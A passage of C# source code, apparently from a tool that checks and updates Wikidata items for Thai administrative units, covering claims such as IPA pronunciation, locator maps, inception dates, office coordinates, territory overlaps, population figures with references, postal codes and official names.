public Statement SetNamedAfterSubdivision(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
NamedAfterSubdivision(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Checks if the statement containing the named after administrative unit is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <returns>Validity of the Statement containing the administrative unit it was named after.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState NamedAfterSubdivisionCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return NamedAfterSubdivision(item, entity, false, false, out dummy);
}
#endregion NamedAfterSubdivision
#region IPA
private WikiDataState Ipa(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
stringValue = entity.ipa;
return CheckStringValue(item, WikiBase.PropertyIdIpa, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the pronunciation in IPA.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the Ipa.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetIpa(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
Ipa(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the pronunciation in IPA is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState IpaCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return Ipa(item, entity, false, false, out dummy);
}
/// <summary>
/// Adds the qualifiers for the <see cref="WikiBase.PropertyIdIpa"/> and <see cref="WikiBase.PropertyIdDescribedByUrl"/>.
/// </summary>
/// <param name="statement">Statement to add qualifier.</param>
public void AddLanguageOfWorkQualifier(Statement statement)
{
if (statement != null)
{
var languageQualifier = new Qualifier(statement, SnakType.Value, new EntityId(WikiBase.PropertyIdLanguageOfWork), new EntityIdValue(new EntityId(WikiBase.ItemIdThaiLanguage)));
// statement.Qualifiers.Add(languageQualifier); // already added by the constructor
}
}
#endregion IPA
#region Locator map
private WikiDataState LocatorMap(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
stringValue = String.Format("Amphoe {0}.svg", entity.geocode);
return CheckStringValue(item, WikiBase.PropertyIdLocationMap, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the locator map.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the locator map.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetLocatorMap(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
LocatorMap(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the locator map is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState LocatorMapCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return LocatorMap(item, entity, false, false, out dummy);
}
#endregion Locator map
#region Inception
private WikiDataState Inception(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var history = entity.history.Items.FirstOrDefault(x => x is HistoryCreate) as HistoryCreate;
var hasValue = history != null && history.effectiveSpecified;
var timeValue = history.effective;
return CheckTimeValue(item, WikiBase.PropertyIdInception, timeValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the inception.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the inception.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetInception(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
Inception(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the inception is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState InceptionCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return Inception(item, entity, false, false, out dummy);
}
#endregion Inception
#region Location
private WikiDataState Location(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
Point value = null;
var office = entity.office.FirstOrDefault();
if (office != null)
{
value = office.Point;
}
if (value != null)
{
return CheckCoordinateValue(item, WikiBase.PropertyIdCoordinate, value, createStatement, overrideWrongData, out statement);
}
else
{
statement = null;
return WikiDataState.Unknown;
}
}
/// <summary>
/// Creates the statement containing the location.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the location.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetLocation(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
Location(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the location is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState LocationCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return Location(item, entity, false, false, out dummy);
}
/// <summary>
/// Add the qualifier to a location statement defining the type of office referenced.
/// </summary>
/// <param name="statement">Statement to modify.</param>
/// <param name="entity">Entity.</param>
public void AddLocationQualifiers(Statement statement, Entity entity)
{
_ = statement ?? throw new ArgumentNullException(nameof(statement));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
var placeType = String.Empty;
switch (entity.type)
{
case EntityType.Thesaban:
case EntityType.ThesabanMueang:
case EntityType.ThesabanNakhon:
case EntityType.ThesabanTambon:
case EntityType.TAO:
case EntityType.Mueang:
case EntityType.Bangkok:
placeType = WikiBase.ItemSeatOfLocalGovernment;
break;
case EntityType.Amphoe:
case EntityType.KingAmphoe:
placeType = WikiBase.ItemDistrictOffice;
break;
case EntityType.Changwat:
placeType = WikiBase.ItemProvinceHall;
break;
}
if (!String.IsNullOrEmpty(placeType))
{
var partQualifier = new Qualifier(statement, SnakType.Value, new EntityId(WikiBase.PropertyIdAppliesToPart), new EntityIdValue(new EntityId(placeType)));
// statement.Qualifiers.Add(partQualifier); // already added by the constructor
}
}
#endregion Location
#region Overlap
/// <summary>
/// Gets the statement containing the territory overlap.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the overlapy.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> is <c>null</c>.</exception>
public IEnumerable<Statement> SetOverlap(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
var result = new List<Statement>();
Overlap(item, entity, true, overrideWrongData, result);
return result;
}
/// <summary>
/// Gets whether the statement containing the overlap is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative entity.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> is <c>null</c>.</exception>
public WikiDataState IsOverlapCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
var dummy = new List<Statement>();
return Overlap(item, entity, false, false, dummy);
}
private WikiDataState Overlap(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, List<Statement> statements)
{
var state = WikiDataState.Unknown;
if (entity.type.IsLocalGovernment())
{
IEnumerable<LocalGovernmentCoverageEntity> value = null;
var office = entity.office.FirstOrDefault();
if (office != null)
{
value = office.areacoverage;
}
if (value != null && value.Any())
{
if (value.Count() == 1)
{
var overlapEntity = _allEntities.FirstOrDefault(x => x.geocode == value.First().geocode);
if (overlapEntity != null)
{
String propertyName = String.Empty;
switch (value.First().coverage)
{
case CoverageType.completely:
propertyName = WikiBase.PropertyIdTerritoryIdentical;
break;
case CoverageType.partially:
propertyName = WikiBase.PropertyIdTerritoryOverlaps;
break;
}
if (!String.IsNullOrEmpty(propertyName))
{
Statement statement = null;
state = CheckPropertyMultiValue(item, propertyName, overlapEntity.wiki.wikidata, createStatement, out statement);
statements.Add(statement);
}
}
}
else
{
var overlapEntities = _allEntities.Where(x => value.Any(y => y.geocode == x.geocode));
var states = new List<WikiDataState>();
foreach (var overlapEntity in overlapEntities)
{
Statement statement = null;
states.Add(CheckPropertyMultiValue(item, WikiBase.PropertyIdTerritoryOverlaps, overlapEntity.wiki.wikidata, createStatement, out statement));
statements.Add(statement);
}
if (states.All(x => x == WikiDataState.Valid))
{
state = WikiDataState.Valid;
}
else if (states.Any(x => x == WikiDataState.Incomplete))
{
state = WikiDataState.Incomplete;
}
else
{
state = states.First();
}
}
}
}
return state;
}
#endregion
/// <summary>
/// Get the default edit summary for a claim save.
/// </summary>
/// <param name="value">Claim to be parsed.</param>
/// <returns>Edit summary.</returns>
/// <exception cref="ArgumentNullException"><paramref name="value"/> is <c>null</c>.</exception>
public String GetClaimSaveEditSummary(Claim value)
{
_ = value ?? throw new ArgumentNullException(nameof(value));
var result = String.Empty;
Snak snak = value.mainSnak;
var entityIdValue = snak.DataValue as EntityIdValue;
if (entityIdValue != null)
{
result = String.Format("[[Property:P{0}]]: [[Q{1}]]", snak.PropertyId.NumericId, entityIdValue.NumericId);
}
var stringValue = snak.DataValue as StringValue;
if (stringValue != null)
{
result = String.Format("[[Property:P{0}]]: {1}", snak.PropertyId.NumericId, stringValue.Value);
}
var coordinateValue = snak.DataValue as GlobeCoordinateValue;
if (coordinateValue != null)
{
result = String.Format(CultureInfo.InvariantCulture, "[[Property:P{0}]]: {1:#.####}, {2:#.####}", snak.PropertyId.NumericId, coordinateValue.Latitude, coordinateValue.Longitude);
}
var quantityValue = snak.DataValue as QuantityValue;
if (quantityValue != null)
{
if ((quantityValue.LowerBound == quantityValue.UpperBound) && (quantityValue.Amount == quantityValue.UpperBound))
{
result = String.Format("[[Property:P{0}]]: {1}", snak.PropertyId.NumericId, quantityValue.Amount);
}
// TODO: ± if upper and lower not same
}
var monoString = snak.DataValue as MonolingualTextValue;
if (monoString != null)
{
result = String.Format("[[Property:P{0}]]: {1}", snak.PropertyId.NumericId, monoString.Text);
}
return result;
}
/// <summary>
/// Get the default edit summary for a reference save.
/// </summary>
/// <param name="value">Reference to be parsed.</param>
/// <returns>Edit summary.</returns>
/// <exception cref="ArgumentNullException"><paramref name="value"/> is <c>null</c>.</exception>
public String GetReferenceSaveEditSummary(Reference value)
{
_ = value ?? throw new ArgumentNullException(nameof(value));
String result;
Snak snak = value.Statement.mainSnak;
if (String.IsNullOrEmpty(value.Hash))
{
result = String.Format("Added reference to claim: [[Property:P{0}]]", snak.PropertyId.NumericId);
}
else
{
result = String.Format("Modified reference to claim: [[Property:P{0}]]", snak.PropertyId.NumericId);
}
return result;
}
/// <summary>
/// Get the default edit summary for a qualifier save.
/// </summary>
/// <param name="value">Qualifier to be parsed.</param>
/// <returns>Edit summary.</returns>
/// <exception cref="ArgumentNullException"><paramref name="value"/> is <c>null</c>.</exception>
public String GetQualifierSaveEditSummary(Qualifier value)
{
_ = value ?? throw new ArgumentNullException(nameof(value));
String result;
// include qualifier info?
if (String.IsNullOrEmpty(value.Hash))
{
result = String.Format("Added one qualifier of claim: [[Property:P{0}]]", value.Statement.mainSnak.PropertyId.NumericId);
}
else
{
result = String.Format("Changed one qualifier of claim: [[Property:P{0}]]", value.Statement.mainSnak.PropertyId.NumericId);
}
return result;
}
/// <summary>
/// Sets the descriptions, labels and aliases to a WikiData item.
/// </summary>
/// <param name="item">The WikiData item to be modified.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
/// <remarks>Set the following things:
/// <list type="bullet">
/// <item>English label to <see cref="Entity.english"/></item>
/// <item>Thai label to <see cref="Entity.FullName"/></item>
/// <item>Thai alias to <see cref="Entity.name"/></item>
/// <item>Thai alias to <see cref="Entity.AbbreviatedName"/></item>
/// <item>Thai and English descriptions to <see cref="Entity.GetWikiDataDescription"/></item>
/// </list>
/// </remarks>
public void SetDescriptionsAndLabels(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
item.setDescription("en", entity.GetWikiDataDescription(Language.English));
// entityById.setDescription("de", testEntity.GetWikiDataDescription(Language.German));
item.setDescription("th", entity.GetWikiDataDescription(Language.Thai));
item.setLabel("en", entity.english);
item.setLabel("th", entity.FullName);
item.addAlias("th", entity.AbbreviatedName);
item.addAlias("th", entity.name);
}
#endregion public methods
#region ContainsSubdivisions
public WikiDataState ContainsSubdivisionsCorrect(Item item, Entity entity, Entity subEntity)
{
var expected = String.Empty;
if ((subEntity.wiki != null) && (!String.IsNullOrEmpty(subEntity.wiki.wikidata)))
{
expected = subEntity.wiki.wikidata;
}
Statement dummy;
return CheckPropertyMultiValue(item, WikiBase.PropertyIdContainsAdministrativeDivisions, expected, false, out dummy);
}
public Statement SetContainsSubdivisions(Item item, Entity entity, Entity subEntity)
{
var expected = String.Empty;
if ((subEntity.wiki != null) && (!String.IsNullOrEmpty(subEntity.wiki.wikidata)))
{
expected = subEntity.wiki.wikidata;
}
Statement result;
CheckPropertyMultiValue(item, WikiBase.PropertyIdContainsAdministrativeDivisions, expected, true, out result);
return result;
}
#endregion ContainsSubdivisions
#region PopulationData
private WikiDataState PopulationData(Item item, PopulationData data, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var total = data.data.FirstOrDefault(y => y.type == PopulationDataType.total);
var propertyName = WikiBase.PropertyIdPopulation;
WikiDataState result = WikiDataState.Unknown;
// Statement claim = item.Claims.FirstOrDefault(x => x.IsAboutProperty(WikiBase.PropertyIdCountry)) as Statement;
var property = new EntityId(propertyName);
var propertyPointInTime = new EntityId(WikiBase.PropertyIdPointInTime);
var claimsForProperty = item.Claims.Where(x => property.Equals(x.mainSnak.PropertyId));
Statement claim = claimsForProperty.FirstOrDefault(
x => x.Qualifiers.Any(
y => y.PropertyId.Equals(propertyPointInTime) &&
y.DataValue is TimeValue &&
(y.DataValue as TimeValue).DateTime.Year == data.Year)) as Statement;
var dataValue = new QuantityValue(total.total);
var snak = new Snak(SnakType.Value, new EntityId(propertyName), dataValue);
if (claim == null)
{
result = WikiDataState.NotSet;
if (createStatement)
{
claim = item.createStatementForSnak(snak);
}
}
else
{
Snak oldSnak = claim.mainSnak;
var oldDataValue = snak.DataValue as QuantityValue;
if (oldDataValue.Equals(dataValue))
{
result = WikiDataState.Valid;
}
else
{
result = WikiDataState.WrongValue;
if (overrideWrongData)
{
claim.mainSnak = snak;
}
}
}
statement = claim as Statement;
return result;
}
public Statement SetPopulationData(Item item, PopulationData data, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = data ?? throw new ArgumentNullException(nameof(data));
Statement result;
PopulationData(item, data, true, overrideWrongData, out result);
return result;
}
public WikiDataState PopulationDataCorrect(Item item, PopulationData data)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = data ?? throw new ArgumentNullException(nameof(data));
Statement dummy;
return PopulationData(item, data, false, false, out dummy);
}
public void AddPopulationDataReferences(Statement statement, PopulationData data, Entity entity)
{
Reference reference = null;
Snak snak;
switch (data.source)
{
case PopulationDataSourceType.Census:
var statedInItem = String.Empty;
if (WikiBase.ItemCensus.Keys.Contains(data.Year))
{
statedInItem = WikiBase.ItemCensus[data.Year];
}
snak = new Snak(SnakType.Value, new EntityId(WikiBase.PropertyIdStatedIn), new EntityIdValue(new EntityId(statedInItem)));
reference = statement.CreateReferenceForSnak(snak);
foreach (var refItem in data.reference)
{
var urlReference = refItem as MyUri;
if (urlReference != null)
{
reference.AddSnak(new Snak(SnakType.Value, new EntityId(WikiBase.PropertyIdReferenceUrl), new StringValue(urlReference.Value)));
}
}
break;
case PopulationDataSourceType.DOPA:
Uri source = PopulationDataDownloader.GetDisplayUrl(data.Year, entity.geocode);
snak = new Snak(SnakType.Value, new EntityId(WikiBase.PropertyIdReferenceUrl), new StringValue(source.AbsoluteUri));
reference = statement.CreateReferenceForSnak(snak);
reference.AddSnak(new Snak(SnakType.Value, new EntityId(WikiBase.PropertyIdPublisher), new EntityIdValue(new EntityId(WikiBase.ItemDopa))));
break;
}
if (reference != null)
{
statement.AddReference(reference);
}
}
public void AddPopulationDataQualifiers(Statement statement, PopulationData data)
{
var pointInTimeQualifier = new Qualifier(statement, SnakType.Value, new EntityId(WikiBase.PropertyIdPointInTime), TimeValue.DateValue(data.referencedate));
// statement.Qualifiers.Add(pointInTimeQualifier); // already added by the constructor
var method = String.Empty;
switch (data.source)
{
case PopulationDataSourceType.Census:
method = WikiBase.ItemCensuses;
break;
case PopulationDataSourceType.DOPA:
method = WikiBase.ItemRegistration;
break;
}
if (!String.IsNullOrEmpty(method))
{
var methodQualifier = new Qualifier(statement, SnakType.Value, new EntityId(WikiBase.PropertyIdDeterminationMethod), new EntityIdValue(new EntityId(method)));
// statement.Qualifiers.Add(methodQualifier); // already added by the constructor
}
}
#endregion PopulationData
#region category
public Item FindThaiCategory(Entity entity, EntityType entityType)
{
var siteLink = "หมวดหมู่:" + entityType.Translate(Language.Thai) + "ในจังหวัด" + entity.name;
var result = _entityProvider.getEntityFromSitelink("thwiki", siteLink);
return result as Item;
}
public void AddCategoryCombinesTopic(Item item, Entity entity, EntityType entityType)
{
if (!item.Claims.Any(x => x.IsAboutProperty(WikiBase.PropertyIdCategoryCombinesTopic)))
{
var dataValue1 = new EntityIdValue(new EntityId(WikiBase.WikiDataItems[entityType]));
var snak1 = new Snak(SnakType.Value, new EntityId(WikiBase.PropertyIdCategoryCombinesTopic), dataValue1);
var claim1 = item.createStatementForSnak(snak1);
claim1.save(GetClaimSaveEditSummary(claim1));
var dataValue2 = new EntityIdValue(new EntityId(entity.wiki.wikidata));
var snak2 = new Snak(SnakType.Value, new EntityId(WikiBase.PropertyIdCategoryCombinesTopic), dataValue2);
var claim2 = item.createStatementForSnak(snak2);
claim2.save(GetClaimSaveEditSummary(claim2));
}
}
public void AddCategoryListOf(Item item, Entity entity, EntityType entityType)
{
if (!item.Claims.Any(x => x.IsAboutProperty(WikiBase.PropertyIdIsListOf)))
{
var dataValue = new EntityIdValue(new EntityId(WikiBase.WikiDataItems[entityType]));
var snak = new Snak(SnakType.Value, new EntityId(WikiBase.PropertyIdIsListOf), dataValue);
var claim = item.createStatementForSnak(snak);
claim.save(GetClaimSaveEditSummary(claim));
var dataValue2 = new EntityIdValue(new EntityId(entity.wiki.wikidata));
var qualifier = new Qualifier(claim, SnakType.Value, new EntityId(WikiBase.PropertyIdIsInAdministrativeUnit), dataValue2);
qualifier.Save(GetQualifierSaveEditSummary(qualifier));
}
}
public EntityId GetCategoryOfItem(Entity entity)
{
_ = entity ?? throw new ArgumentNullException(nameof(entity));
EntityId result = null;
var item = GetWikiDataItemForEntity(entity);
if (item != null)
{
var categoryClaim = item.Claims.FirstOrDefault(x => x.IsAboutProperty(WikiBase.PropertyIdCategoryForTopic));
if (categoryClaim != null)
{
var value = categoryClaim.mainSnak.DataValue as EntityIdValue;
if (value != null)
{
result = new EntityId("P", value.NumericId);
}
}
}
return result;
}
#endregion category
#region PostalCode
public WikiDataState PostalCodeCorrect(Item item, Entity entity, UInt32 code)
{
var expected = code.ToString(CultureInfo.InvariantCulture);
Statement dummy;
return CheckStringMultiValue(item, WikiBase.PropertyIdPostalCode, expected, false, out dummy);
}
public Statement SetPostalCode(Item item, Entity entity, UInt32 code)
{
var expected = code.ToString(CultureInfo.InvariantCulture);
Statement result;
CheckStringMultiValue(item, WikiBase.PropertyIdPostalCode, expected, true, out result);
return result;
}
#endregion PostalCode
#region BoundingEntity
public WikiDataState BoundingEntityCorrect(Item item, Entity entity, Entity neighboringEntity)
{
var expected = String.Empty;
if ((neighboringEntity.wiki != null) && (!String.IsNullOrEmpty(neighboringEntity.wiki.wikidata)))
{
expected = neighboringEntity.wiki.wikidata;
}
Statement dummy;
return CheckPropertyMultiValue(item, WikiBase.PropertyIdSharesBorderWith, expected, false, out dummy);
}
public Statement SetBoundingEntity(Item item, Entity entity, Entity neighboringEntity)
{
var expected = String.Empty;
if ((neighboringEntity.wiki != null) && (!String.IsNullOrEmpty(neighboringEntity.wiki.wikidata)))
{
expected = neighboringEntity.wiki.wikidata;
}
Statement result;
CheckPropertyMultiValue(item, WikiBase.PropertyIdSharesBorderWith, expected, true, out result);
return result;
}
#endregion BoundingEntity
#region Slogan
public WikiDataState SloganCorrect(Item item, Entity entity)
{
var firstSlogan = entity.symbols.slogan.FirstOrDefault();
if (firstSlogan != null)
{
var expected = firstSlogan.SingleLineValue;
Statement dummy;
return CheckMonoLanguageValue(item, WikiBase.PropertyIdMotto, Language.Thai, expected, false, out dummy);
}
else
{
return WikiDataState.NoData;
}
}
public Statement SetSlogan(Item item, Entity entity)
{
var firstSlogan = entity.symbols.slogan.FirstOrDefault();
if (firstSlogan != null)
{
var expected = firstSlogan.SingleLineValue;
Statement result;
CheckMonoLanguageValue(item, WikiBase.PropertyIdMotto, Language.Thai, expected, true, out result);
return result;
}
return null;
}
#endregion Slogan
#region Native label
/// <summary>
/// Checks whether <see cref="WikiBase.PropertyIdNativeLabel"/> is set correctly for the given entity/item.
/// </summary>
/// <param name="item">Wikidata item to check.</param>
/// <param name="entity">Corresponding entity.</param>
/// <returns>State of correctness of the Wikidata item.</returns>
public WikiDataState NativeLabelCorrect(Item item, Entity entity)
{
var expected = entity.FullName;
Statement dummy;
return CheckMonoLanguageValue(item, WikiBase.PropertyIdNativeLabel, Language.Thai, expected, false, out dummy);
}
/// <summary>
/// Sets the <see cref="WikiBase.PropertyIdNativeLabel"/> at the given <paramref name="item"/> with the value from <paramref name="entity"/>.
/// </summary>
/// <param name="item">Wikidata item to set.</param>
/// <param name="entity">Corresponding entity.</param>
/// <returns>Wikidata statement created or modified.</returns>
public Statement SetNativeLabel(Item item, Entity entity)
{
var expected = entity.FullName;
Statement result;
CheckMonoLanguageValue(item, WikiBase.PropertyIdNativeLabel, Language.Thai, expected, true, out result);
return result;
}
#endregion Native label
#region Official name
/// <summary>
/// Checks whether <see cref="WikiBase.PropertyIdOfficialName"/> is set correctly for the given entity/item.
/// </summary>
/// <param name="item">Wikidata item to check.</param>
/// <param name="entity">Corresponding entity.</param>
/// <returns>State of correctness of the Wikidata item.</returns>
public WikiDataState OfficialNameCorrect(Item item, Entity entity)
{
var expected = entity.FullName;
Statement dummy;
return CheckMonoLanguageValue(item, WikiBase.PropertyIdOfficialName, Language.Thai, expected, false, out dummy);
}
/// <summary>
/// Sets the <see cref="WikiBase.PropertyIdOfficialName"/> at the given <paramref name="item"/> with the value from <paramref name="entity"/>.
/// </summary>
/// <param name="item">Wikidata item to set.</param>
/// <param name="entity">Corresponding entity.</param>
/// <returns>Wikidata statement created or modified.</returns>
public Statement SetOfficialName(Item item, Entity entity)
{
var expected = entity.FullName;
Statement result;
CheckMonoLanguageValue(item, WikiBase.PropertyIdOfficialName, Language.Thai, expected, true, out result);
return result;
}
#endregion Official name
/// <summary>
/// Get the default edit summary for the creation of a item.
/// </summary>
/// <param name="value">New item.</param>
/// <returns>Edit summary.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> is <c>null</c>.</exception>
public String GetItemCreateSaveSummary(Item item)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
return item.getLabel("en");
}
/// <summary>
/// Find the (first) statement of the given <paramref name="propertyId"/> and gets the string value set.
/// </summary>
/// <param name="item">Source item.</param>
/// <param name="propertyId">Property id.</param>
/// <returns>String value, or <c>String.Empty</c> if not found.</returns>
public String GetStringClaim(Item item, String propertyId)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
if (String.IsNullOrEmpty(propertyId))
{
throw new ArgumentException("Invalid property id");
}
var result = String.Empty;
var property = new EntityId(propertyId);
foreach (var claim in item.Claims.Where(x => property.Equals(x.mainSnak.PropertyId)))
{
Snak oldSnak = claim.mainSnak;
if (oldSnak.Type == SnakType.Value)
{
var oldDataValue = oldSnak.DataValue as StringValue;
result = oldDataValue.Value;
}
}
return result;
}
/// <summary>
/// Find the (first) statement of the given <paramref name="propertyId"/> and gets the item set.
/// </summary>
/// <param name="item">Source item.</param>
/// <param name="propertyId">Property id.</param>
/// <returns>First linked item, or <c>null</c> if not found.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> is <c>null</c>.</exception>
/// <exception cref="ArgumentException"><paramref name="propertyId"/> is <c>null</c> or <see cref=" String.Empty"/>.</exception>
public Item GetItemClaim(Item item, String propertyId)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
if (String.IsNullOrEmpty(propertyId))
{
throw new ArgumentException("Invalid property id");
}
Item result = null;
var property = new EntityId(propertyId);
foreach (var claim in item.Claims.Where(x => property.Equals(x.mainSnak.PropertyId)))
{
Snak oldSnak = claim.mainSnak;
if (oldSnak.Type == SnakType.Value)
{
var oldDataValue = oldSnak.DataValue as EntityIdValue;
result = _entityProvider.getEntityFromId(new EntityId("Q" + oldDataValue.NumericId.ToString())) as Item;
}
}
return result;
}
/// <summary>
/// Checks the item for the population data to be valid.
/// </summary>
/// <param name="item">Source item.</param>
/// <returns><see cref="WikiDataState.Valid"/> is everything is valid, <see cref="WikiDataState.Inconsistent"/> otherwise.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> is <c>null</c>.</exception>
/// <remarks>Checks whether <see cref="QuantityValue.LowerBound"/> and <see cref="QuantityValue.UpperBound"/> are empty, and the latest datapoint is marked as </remarks>
public WikiDataState CheckPopulationData(Item item)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
var result = WikiDataState.Valid;
var property = new EntityId(WikiBase.PropertyIdPopulation);
var pointInTime = new EntityId(WikiBase.PropertyIdPointInTime);
Nullable<DateTime> preferredDate = null;
DateTime lastedDate = new DateTime(1900, 1, 1);
foreach (var claim in item.Claims.Where(x => property.Equals(x.mainSnak.PropertyId)))
{
var data = claim.mainSnak.DataValue as QuantityValue;
if (data == null)
{
result = WikiDataState.Inconsistent;
}
else
{
if (!String.IsNullOrEmpty(data.LowerBound) || !String.IsNullOrEmpty(data.UpperBound))
{
result = WikiDataState.Inconsistent;
}
var date = claim.Qualifiers.FirstOrDefault(x => pointInTime.Equals(x.PropertyId));
if (date == null)
{
result = WikiDataState.Inconsistent;
}
else
{
var dateSnak = date.DataValue as TimeValue;
if (dateSnak.DateTime > lastedDate)
{
lastedDate = dateSnak.DateTime;
}
if (dateSnak == null)
{
result = WikiDataState.Inconsistent;
}
else if ((claim as Statement).Rank == Rank.Preferred)
{
preferredDate = dateSnak.DateTime;
}
}
}
}
if (preferredDate == null || preferredDate.Value != lastedDate)
{
// result = WikiDataState.Inconsistent;
}
return result;
}
public IEnumerable<Statement> CleanupPopulationData(Item item)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
var result = new List<Statement>();
var property = new EntityId(WikiBase.PropertyIdPopulation);
var pointInTime = new EntityId(WikiBase.PropertyIdPointInTime);
DateTime lastedDate = new DateTime(1900, 1, 1);
foreach (var claim in item.Claims.Where(x => property.Equals(x.mainSnak.PropertyId)))
{
var date = claim.Qualifiers.FirstOrDefault(x => pointInTime.Equals(x.PropertyId));
if (date != null)
{
var dateSnak = date.DataValue as TimeValue;
if (dateSnak.DateTime > lastedDate)
{
lastedDate = dateSnak.DateTime;
}
}
}
foreach (var claim in item.Claims.Where(x => property.Equals(x.mainSnak.PropertyId)))
{
var data = claim.mainSnak.DataValue as QuantityValue;
